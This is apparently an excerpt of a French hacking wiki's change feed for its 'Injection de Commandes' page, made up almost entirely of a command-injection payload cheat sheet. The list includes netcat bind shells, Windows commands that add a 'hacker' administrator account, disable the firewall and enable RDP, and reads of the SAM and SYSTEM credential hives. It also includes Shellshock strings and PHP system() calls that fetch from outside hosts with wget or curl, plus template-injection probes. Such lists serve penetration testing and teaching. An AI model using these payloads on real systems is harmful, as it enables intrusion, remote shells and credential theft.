XXXXXXXXXXXXXXXX')&lt;br /&gt;
 eval('ls')&lt;br /&gt;
 eval('pwd')&lt;br /&gt;
 eval('pwd');&lt;br /&gt;
 eval('sleep 5')&lt;br /&gt;
 eval('sleep 5');&lt;br /&gt;
 eval('whoami')&lt;br /&gt;
 eval('whoami');&lt;br /&gt;
 exec('echo XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX')&lt;br /&gt;
 exec('ls')&lt;br /&gt;
 exec('pwd')&lt;br /&gt;
 exec('pwd');&lt;br /&gt;
 exec('sleep 5')&lt;br /&gt;
 exec('sleep 5');&lt;br /&gt;
 exec('whoami')&lt;br /&gt;
 exec('whoami');&lt;br /&gt;
 ;{$_GET[&amp;quot;cmd&amp;quot;]}&lt;br /&gt;
 `id`&lt;br /&gt;
 |id&lt;br /&gt;
 | id&lt;br /&gt;
 ;id&lt;br /&gt;
 ;id|&lt;br /&gt;
 ;id;&lt;br /&gt;
 &amp;amp; id&lt;br /&gt;
 &amp;amp;&amp;amp;id&lt;br /&gt;
 ;id\n&lt;br /&gt;
 ifconfig&lt;br /&gt;
 | ifconfig&lt;br /&gt;
 ; ifconfig&lt;br /&gt;
 &amp;amp; ifconfig&lt;br /&gt;
 &amp;amp;&amp;amp; ifconfig&lt;br /&gt;
 /index.html|id|&lt;br /&gt;
 ipconfig&lt;br /&gt;
 | ipconfig /all&lt;br /&gt;
 ; ipconfig /all&lt;br /&gt;
 &amp;amp; ipconfig /all&lt;br /&gt;
 &amp;amp;&amp;amp; ipconfig /all&lt;br /&gt;
 ipconfig /all&lt;br /&gt;
 ls&lt;br /&gt;
 $(`ls`)&lt;br /&gt;
 | ls -l /&lt;br /&gt;
 ; ls -l /&lt;br /&gt;
 &amp;amp; ls -l /&lt;br /&gt;
 &amp;amp;&amp;amp; ls -l /&lt;br /&gt;
 ls -l /&lt;br /&gt;
 | ls -laR /etc&lt;br /&gt;
 ; ls -laR /etc&lt;br /&gt;
 &amp;amp; ls -laR /etc&lt;br /&gt;
 &amp;amp;&amp;amp; ls -laR /etc&lt;br /&gt;
 | ls -laR /var/www&lt;br /&gt;
 ; ls -laR /var/www&lt;br /&gt;
 &amp;amp; ls -laR /var/www&lt;br /&gt;
 &amp;amp;&amp;amp; ls -laR /var/www&lt;br /&gt;
 | ls -l /etc/&lt;br /&gt;
 ; ls -l /etc/&lt;br /&gt;
 &amp;amp; ls -l /etc/&lt;br /&gt;
 &amp;amp;&amp;amp; ls -l /etc/&lt;br /&gt;
 ls -l /etc/&lt;br /&gt;
 ls -lh /etc/&lt;br /&gt;
 | ls -l /home/*&lt;br /&gt;
 ; ls -l /home/*&lt;br /&gt;
 &amp;amp; ls -l /home/*&lt;br /&gt;
 &amp;amp;&amp;amp; ls -l /home/*&lt;br /&gt;
 ls -l /home/*&lt;br /&gt;
 *; ls -lhtR /var/www/&lt;br /&gt;
 | ls -l /tmp&lt;br /&gt;
 ; ls -l /tmp&lt;br /&gt;
 &amp;amp; ls -l /tmp&lt;br /&gt;
 &amp;amp;&amp;amp; ls -l /tmp&lt;br /&gt;
 ls -l /tmp&lt;br /&gt;
 | ls -l /var/www/*&lt;br /&gt;
 ; ls -l /var/www/*&lt;br /&gt;
 &amp;amp; ls -l /var/www/*&lt;br /&gt;
 &amp;amp;&amp;amp; ls -l /var/www/*&lt;br /&gt;
 ls -l /var/www/*&lt;br /&gt;
 \n&lt;br /&gt;
 \n\033[2curl http://135.23.158.130/.testing/term_escape.txt?vuln=1?user=\`whoami\`&lt;br /&gt;
 \n\033[2wget http://135.23.158.130/.testing/term_escape.txt?vuln=2?user=\`whoami\`&lt;br /&gt;
 \n/bin/ls -al\n&lt;br /&gt;
 | nc -lvvp 4444 -e /bin/sh|&lt;br /&gt;
 ; nc -lvvp 4444 -e /bin/sh;&lt;br /&gt;
 &amp;amp; nc -lvvp 4444 -e /bin/sh&amp;amp;&lt;br /&gt;
 &amp;amp;&amp;amp; nc -lvvp 4444 -e /bin/sh &amp;amp;&lt;br /&gt;
 nc -lvvp 4444 -e /bin/sh&lt;br /&gt;
 nc -lvvp 4445 -e /bin/sh &amp;amp;&lt;br /&gt;
 nc -lvvp 4446 -e /bin/sh|&lt;br /&gt;
 nc -lvvp 4447 -e /bin/sh;&lt;br /&gt;
 nc -lvvp 4448 -e /bin/sh&amp;amp;&lt;br /&gt;
 \necho INJECTX\nexit\n\033[2Acurl https://crowdshield.com/.testing/rce_vuln.txt\n&lt;br /&gt;
 \necho INJECTX\nexit\n\033[2Asleep 5\n&lt;br /&gt;
 \necho INJECTX\nexit\n\033[2Awget https://crowdshield.com/.testing/rce_vuln.txt\n&lt;br /&gt;
 | net localgroup Administrators hacker /ADD&lt;br /&gt;
 ; net localgroup Administrators hacker /ADD&lt;br /&gt;
 &amp;amp; net localgroup Administrators hacker /ADD&lt;br /&gt;
 &amp;amp;&amp;amp; net localgroup Administrators hacker /ADD&lt;br /&gt;
 net localgroup Administrators hacker /ADD&lt;br /&gt;
 | netsh firewall set opmode disable&lt;br /&gt;
 ; netsh firewall set opmode disable&lt;br /&gt;
 &amp;amp; netsh firewall set opmode disable&lt;br /&gt;
 &amp;amp;&amp;amp; netsh firewall set opmode disable&lt;br /&gt;
 netsh firewall set opmode disable&lt;br /&gt;
 netstat&lt;br /&gt;
 ;netstat -a;&lt;br /&gt;
 | netstat -an&lt;br /&gt;
 ; netstat -an&lt;br /&gt;
 &amp;amp; netstat -an&lt;br /&gt;
 &amp;amp;&amp;amp; netstat -an&lt;br /&gt;
 netstat -an&lt;br /&gt;
 | net user hacker Password1 /ADD&lt;br /&gt;
 ; net user hacker Password1 /ADD&lt;br /&gt;
 &amp;amp; net user hacker Password1 /ADD&lt;br /&gt;
 &amp;amp;&amp;amp; net user hacker Password1 /ADD&lt;br /&gt;
 net user hacker Password1 /ADD&lt;br /&gt;
 | net view&lt;br /&gt;
 ; net view&lt;br /&gt;
 &amp;amp; net view&lt;br /&gt;
 &amp;amp;&amp;amp; net view&lt;br /&gt;
 net view&lt;br /&gt;
 \nid|&lt;br /&gt;
 \nid;&lt;br /&gt;
 \nid\n&lt;br /&gt;
 \n/usr/bin/id\n&lt;br /&gt;
 perl -e 'print &amp;quot;X&amp;quot;x1024'&lt;br /&gt;
 || perl -e 'print &amp;quot;X&amp;quot;x16096'&lt;br /&gt;
 | perl -e 'print &amp;quot;X&amp;quot;x16096'&lt;br /&gt;
 ; perl -e 'print &amp;quot;X&amp;quot;x16096'&lt;br /&gt;
 &amp;amp; perl -e 'print &amp;quot;X&amp;quot;x16096'&lt;br /&gt;
 &amp;amp;&amp;amp; perl -e 'print &amp;quot;X&amp;quot;x16096'&lt;br /&gt;
 perl -e 'print &amp;quot;X&amp;quot;x16384'&lt;br /&gt;
 ; perl -e 'print &amp;quot;X&amp;quot;x2048'&lt;br /&gt;
 &amp;amp; perl -e 'print &amp;quot;X&amp;quot;x2048'&lt;br /&gt;
 &amp;amp;&amp;amp; perl -e 'print &amp;quot;X&amp;quot;x2048'&lt;br /&gt;
 perl -e 'print &amp;quot;X&amp;quot;x2048'&lt;br /&gt;
 || perl -e 'print &amp;quot;X&amp;quot;x4096'&lt;br /&gt;
 | perl -e 'print &amp;quot;X&amp;quot;x4096'&lt;br /&gt;
 ; perl -e 'print &amp;quot;X&amp;quot;x4096'&lt;br /&gt;
 &amp;amp; perl -e 'print &amp;quot;X&amp;quot;x4096'&lt;br /&gt;
 &amp;amp;&amp;amp; perl -e 'print &amp;quot;X&amp;quot;x4096'&lt;br /&gt;
 perl -e 'print &amp;quot;X&amp;quot;x4096'&lt;br /&gt;
 || perl -e 'print &amp;quot;X&amp;quot;x8096'&lt;br /&gt;
 | perl -e 'print &amp;quot;X&amp;quot;x8096'&lt;br /&gt;
 ; perl -e 'print &amp;quot;X&amp;quot;x8096'&lt;br /&gt;
 &amp;amp;&amp;amp; perl -e 'print &amp;quot;X&amp;quot;x8096'&lt;br /&gt;
 perl -e 'print &amp;quot;X&amp;quot;x8192'&lt;br /&gt;
 perl -e 'print &amp;quot;X&amp;quot;x81920'&lt;br /&gt;
 || phpinfo()&lt;br /&gt;
 | phpinfo()&lt;br /&gt;
  {${phpinfo()}}&lt;br /&gt;
 ;phpinfo()&lt;br /&gt;
 ;phpinfo();//&lt;br /&gt;
 ';phpinfo();//&lt;br /&gt;
 {${phpinfo()}}&lt;br /&gt;
 &amp;amp; phpinfo()&lt;br /&gt;
 &amp;amp;&amp;amp; phpinfo()&lt;br /&gt;
 phpinfo()&lt;br /&gt;
 phpinfo();&lt;br /&gt;
 &amp;lt;?php system(&amp;quot;curl https://crowdshield.com/.testing/rce_vuln.txt?method=phpsystem_get&amp;quot;);?&amp;gt;&lt;br /&gt;
 &amp;lt;?php system(&amp;quot;curl https://crowdshield.com/.testing/rce_vuln.txt?req=df2fkjj&amp;quot;);?&amp;gt;&lt;br /&gt;
 &amp;lt;?php system(&amp;quot;echo XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX&amp;quot;);?&amp;gt;&lt;br /&gt;
 &amp;lt;?php system(&amp;quot;sleep 10&amp;quot;);?&amp;gt;&lt;br /&gt;
 &amp;lt;?php system(&amp;quot;sleep 5&amp;quot;);?&amp;gt;&lt;br /&gt;
 &amp;lt;?php system(&amp;quot;wget https://crowdshield.com/.testing/rce_vuln.txt?method=phpsystem_get&amp;quot;);?&amp;gt;&lt;br /&gt;
 &amp;lt;?php system(&amp;quot;wget https://crowdshield.com/.testing/rce_vuln.txt?req=jdfj2jc&amp;quot;);?&amp;gt;&lt;br /&gt;
 :phpversion();&lt;br /&gt;
 `ping 127.0.0.1`&lt;br /&gt;
 &amp;amp; ping -i 30 127.0.0.1 &amp;amp;&lt;br /&gt;
 &amp;amp; ping -n 30 127.0.0.1 &amp;amp;&lt;br /&gt;
 ;${@print(md5(RCEVulnerable))};&lt;br /&gt;
 ${@print(&amp;quot;RCEVulnerable&amp;quot;)}&lt;br /&gt;
 ${@print(system($_SERVER['HTTP_USER_AGENT']))}&lt;br /&gt;
 pwd&lt;br /&gt;
 | pwd&lt;br /&gt;
 ; pwd&lt;br /&gt;
 &amp;amp; pwd&lt;br /&gt;
 &amp;amp;&amp;amp; pwd&lt;br /&gt;
 \r&lt;br /&gt;
 | reg add &amp;quot;HKLM\System\CurrentControlSet\Control\Terminal Server&amp;quot; /v fDenyTSConnections /t REG_DWORD /d 0 /f&lt;br /&gt;
 ; reg add &amp;quot;HKLM\System\CurrentControlSet\Control\Terminal Server&amp;quot; /v fDenyTSConnections /t REG_DWORD /d 0 /f&lt;br /&gt;
 &amp;amp; reg add &amp;quot;HKLM\System\CurrentControlSet\Control\Terminal Server&amp;quot; /v fDenyTSConnections /t REG_DWORD /d 0 /f&lt;br /&gt;
 &amp;amp;&amp;amp; reg add &amp;quot;HKLM\System\CurrentControlSet\Control\Terminal Server&amp;quot; /v fDenyTSConnections /t REG_DWORD /d 0 /f&lt;br /&gt;
 reg add &amp;quot;HKLM\System\CurrentControlSet\Control\Terminal Server&amp;quot; /v fDenyTSConnections /t REG_DWORD /d 0 /f&lt;br /&gt;
 \r\n&lt;br /&gt;
 route&lt;br /&gt;
 | sleep 1&lt;br /&gt;
 ; sleep 1&lt;br /&gt;
 &amp;amp; sleep 1&lt;br /&gt;
 &amp;amp;&amp;amp; sleep 1&lt;br /&gt;
 sleep 1&lt;br /&gt;
 || sleep 10&lt;br /&gt;
 | sleep 10&lt;br /&gt;
 ; sleep 10&lt;br /&gt;
 {${sleep(10)}}&lt;br /&gt;
 &amp;amp; sleep 10 &lt;br /&gt;
 &amp;amp;&amp;amp; sleep 10&lt;br /&gt;
 sleep 10&lt;br /&gt;
 || sleep 15&lt;br /&gt;
 | sleep 15&lt;br /&gt;
 ; sleep 15&lt;br /&gt;
 &amp;amp; sleep 15 &lt;br /&gt;
 &amp;amp;&amp;amp; sleep 15&lt;br /&gt;
  {${sleep(20)}}&lt;br /&gt;
 {${sleep(20)}}&lt;br /&gt;
  {${sleep(3)}}&lt;br /&gt;
 {${sleep(3)}}&lt;br /&gt;
 | sleep 5&lt;br /&gt;
 ; sleep 5&lt;br /&gt;
 &amp;amp; sleep 5&lt;br /&gt;
 &amp;amp;&amp;amp; sleep 5&lt;br /&gt;
 sleep 5&lt;br /&gt;
  {${sleep(hexdec(dechex(20)))}} &lt;br /&gt;
 {${sleep(hexdec(dechex(20)))}} &lt;br /&gt;
 sysinfo&lt;br /&gt;
 | sysinfo&lt;br /&gt;
 ; sysinfo&lt;br /&gt;
 &amp;amp; sysinfo&lt;br /&gt;
 &amp;amp;&amp;amp; sysinfo&lt;br /&gt;
 system('cat C:\boot.ini');&lt;br /&gt;
 system('cat config.php');&lt;br /&gt;
 || system('curl https://crowdshield.com/.testing/rce_vuln.txt');&lt;br /&gt;
 | system('curl https://crowdshield.com/.testing/rce_vuln.txt');&lt;br /&gt;
 ; system('curl https://crowdshield.com/.testing/rce_vuln.txt');&lt;br /&gt;
 &amp;amp; system('curl https://crowdshield.com/.testing/rce_vuln.txt');&lt;br /&gt;
 &amp;amp;&amp;amp; system('curl https://crowdshield.com/.testing/rce_vuln.txt');&lt;br /&gt;
 system('curl https://crowdshield.com/.testing/rce_vuln.txt')&lt;br /&gt;
 system('curl https://crowdshield.com/.testing/rce_vuln.txt?req=22fd2wdf')&lt;br /&gt;
 system('curl https://xerosecurity.com/.testing/rce_vuln.txt');&lt;br /&gt;
 system('echo XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX')&lt;br /&gt;
 systeminfo&lt;br /&gt;
 | systeminfo&lt;br /&gt;
 ; systeminfo&lt;br /&gt;
 &amp;amp; systeminfo&lt;br /&gt;
 &amp;amp;&amp;amp; systeminfo&lt;br /&gt;
 system('ls')&lt;br /&gt;
 system('pwd')&lt;br /&gt;
 system('pwd');&lt;br /&gt;
 || system('sleep 5');&lt;br /&gt;
 | system('sleep 5');&lt;br /&gt;
 ; system('sleep 5');&lt;br /&gt;
 &amp;amp; system('sleep 5');&lt;br /&gt;
 &amp;amp;&amp;amp; system('sleep 5');&lt;br /&gt;
 system('sleep 5')&lt;br /&gt;
 system('sleep 5');&lt;br /&gt;
 system('wget https://crowdshield.com/.testing/rce_vuln.txt?req=22fd2w23')&lt;br /&gt;
 system('wget https://xerosecurity.com/.testing/rce_vuln.txt');&lt;br /&gt;
 system('whoami')&lt;br /&gt;
 system('whoami');&lt;br /&gt;
 test*; ls -lhtR /var/www/&lt;br /&gt;
 test* || perl -e 'print &amp;quot;X&amp;quot;x16096'&lt;br /&gt;
 test* | perl -e 'print &amp;quot;X&amp;quot;x16096'&lt;br /&gt;
 test* &amp;amp; perl -e 'print &amp;quot;X&amp;quot;x16096'&lt;br /&gt;
 test* &amp;amp;&amp;amp; perl -e 'print &amp;quot;X&amp;quot;x16096'&lt;br /&gt;
 test*; perl -e 'print &amp;quot;X&amp;quot;x16096'&lt;br /&gt;
 $(`type C:\boot.ini`)&lt;br /&gt;
 &amp;amp;&amp;amp;type C:\\boot.ini&lt;br /&gt;
 | type C:\Windows\repair\SAM&lt;br /&gt;
 ; type C:\Windows\repair\SAM&lt;br /&gt;
 &amp;amp; type C:\Windows\repair\SAM&lt;br /&gt;
 &amp;amp;&amp;amp; type C:\Windows\repair\SAM&lt;br /&gt;
 type C:\Windows\repair\SAM&lt;br /&gt;
 | type C:\Windows\repair\SYSTEM&lt;br /&gt;
 ; type C:\Windows\repair\SYSTEM&lt;br /&gt;
 &amp;amp; type C:\Windows\repair\SYSTEM&lt;br /&gt;
 &amp;amp;&amp;amp; type C:\Windows\repair\SYSTEM&lt;br /&gt;
 type C:\Windows\repair\SYSTEM&lt;br /&gt;
 | type C:\WINNT\repair\SAM&lt;br /&gt;
 ; type C:\WINNT\repair\SAM&lt;br /&gt;
 &amp;amp; type C:\WINNT\repair\SAM&lt;br /&gt;
 &amp;amp;&amp;amp; type C:\WINNT\repair\SAM&lt;br /&gt;
 type C:\WINNT\repair\SAM&lt;br /&gt;
 type C:\WINNT\repair\SYSTEM&lt;br /&gt;
 | type %SYSTEMROOT%\repair\SAM&lt;br /&gt;
 ; type %SYSTEMROOT%\repair\SAM&lt;br /&gt;
 &amp;amp; type %SYSTEMROOT%\repair\SAM&lt;br /&gt;
 &amp;amp;&amp;amp; type %SYSTEMROOT%\repair\SAM&lt;br /&gt;
 type %SYSTEMROOT%\repair\SAM&lt;br /&gt;
 | type %SYSTEMROOT%\repair\SYSTEM&lt;br /&gt;
 ; type %SYSTEMROOT%\repair\SYSTEM&lt;br /&gt;
 &amp;amp; type %SYSTEMROOT%\repair\SYSTEM&lt;br /&gt;
 &amp;amp;&amp;amp; type %SYSTEMROOT%\repair\SYSTEM&lt;br /&gt;
 type %SYSTEMROOT%\repair\SYSTEM&lt;br /&gt;
 uname&lt;br /&gt;
 ;uname;&lt;br /&gt;
 | uname -a&lt;br /&gt;
 ; uname -a&lt;br /&gt;
 &amp;amp; uname -a&lt;br /&gt;
 &amp;amp;&amp;amp; uname -a&lt;br /&gt;
 uname -a&lt;br /&gt;
 |/usr/bin/id&lt;br /&gt;
 ;|/usr/bin/id|&lt;br /&gt;
 ;/usr/bin/id|&lt;br /&gt;
 $;/usr/bin/id&lt;br /&gt;
 () { :;};/usr/bin/perl -e 'print \&amp;quot;Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\&amp;quot;;system(\&amp;quot;wget http://135.23.158.130/.testing/shellshock.txt?vuln=13;curl http://135.23.158.130/.testing/shellshock.txt?vuln=15;\&amp;quot;);'&lt;br /&gt;
 () { :;}; wget http://135.23.158.130/.testing/shellshock.txt?vuln=11&lt;br /&gt;
 | wget http://crowdshield.com/.testing/rce.txt&lt;br /&gt;
 &amp;amp; wget http://crowdshield.com/.testing/rce.txt&lt;br /&gt;
 ; wget https://crowdshield.com/.testing/rce_vuln.txt&lt;br /&gt;
 $(`wget https://crowdshield.com/.testing/rce_vuln.txt`)&lt;br /&gt;
 &amp;amp;&amp;amp; wget https://crowdshield.com/.testing/rce_vuln.txt&lt;br /&gt;
 wget https://crowdshield.com/.testing/rce_vuln.txt&lt;br /&gt;
 $(`wget https://crowdshield.com/.testing/rce_vuln.txt?req=22jjffjbn`)&lt;br /&gt;
 which curl&lt;br /&gt;
 which gcc&lt;br /&gt;
 which nc&lt;br /&gt;
 which netcat&lt;br /&gt;
 which perl&lt;br /&gt;
 which python&lt;br /&gt;
 which wget&lt;br /&gt;
 whoami&lt;br /&gt;
 | whoami&lt;br /&gt;
 ; whoami&lt;br /&gt;
 ' whoami&lt;br /&gt;
 ' || whoami&lt;br /&gt;
 ' &amp;amp; whoami&lt;br /&gt;
 ' &amp;amp;&amp;amp; whoami&lt;br /&gt;
 '; whoami&lt;br /&gt;
 &amp;quot; whoami&lt;br /&gt;
 &amp;quot; || whoami&lt;br /&gt;
 &amp;quot; | whoami&lt;br /&gt;
 &amp;quot; &amp;amp; whoami&lt;br /&gt;
 &amp;quot; &amp;amp;&amp;amp; whoami&lt;br /&gt;
 &amp;quot;; whoami&lt;br /&gt;
 $(`whoami`)&lt;br /&gt;
 &amp;amp; whoami&lt;br /&gt;
 &amp;amp;&amp;amp; whoami&lt;br /&gt;
 {{ get_user_file(&amp;quot;C:\boot.ini&amp;quot;) }}&lt;br /&gt;
 {{ get_user_file(&amp;quot;/etc/hosts&amp;quot;) }}&lt;br /&gt;
 {{4+4}}&lt;br /&gt;
 {{4+8}}&lt;br /&gt;
 {{person.secret}}&lt;br /&gt;
 {{person.name}}&lt;br /&gt;
 {1} + {1}&lt;br /&gt;
 {% For c in [1,2,3]%} {{c, c, c}} {% endfor%}&lt;br /&gt;
 {{[] .__ Class __.__ base __.__ subclasses __ ()}}&lt;br /&gt;
&lt;br /&gt;
== Références ==&lt;br /&gt;
*https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection&lt;br /&gt;
*https://github.com/payloadbox/command-injection-payload-list&lt;br /&gt;
*https://book.hacktricks.xyz/pentesting-web/command-injection&lt;/div&gt;</summary>
		<author><name>OldNeib</name></author>
	</entry>
	<entry>
		<id>https://wiki.hackbbs.org/index.php?title=Web:Injection_de_Commandes&amp;diff=93571</id>
		<title>Web:Injection de Commandes</title>
		<link rel="alternate" type="text/html" href="https://wiki.hackbbs.org/index.php?title=Web:Injection_de_Commandes&amp;diff=93571"/>
		<updated>2023-12-02T17:49:17Z</updated>

		<summary type="html">&lt;p&gt;OldNeib : /* Cheat Sheet */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Lors de &amp;lt;b&amp;gt;l'exécution d'une commande en ligne&amp;lt;/b&amp;gt; prenant en paramètre une &amp;lt;b&amp;gt;entrée utilisateur&amp;lt;/b&amp;gt;, il est parfois possible de &amp;lt;b&amp;gt;s'évader du champ d'action&amp;lt;/b&amp;gt; prévu par l'ajout de &amp;lt;b&amp;gt;certains caractères&amp;lt;/b&amp;gt;:&lt;br /&gt;
== Les Métacharacteres ==&lt;br /&gt;
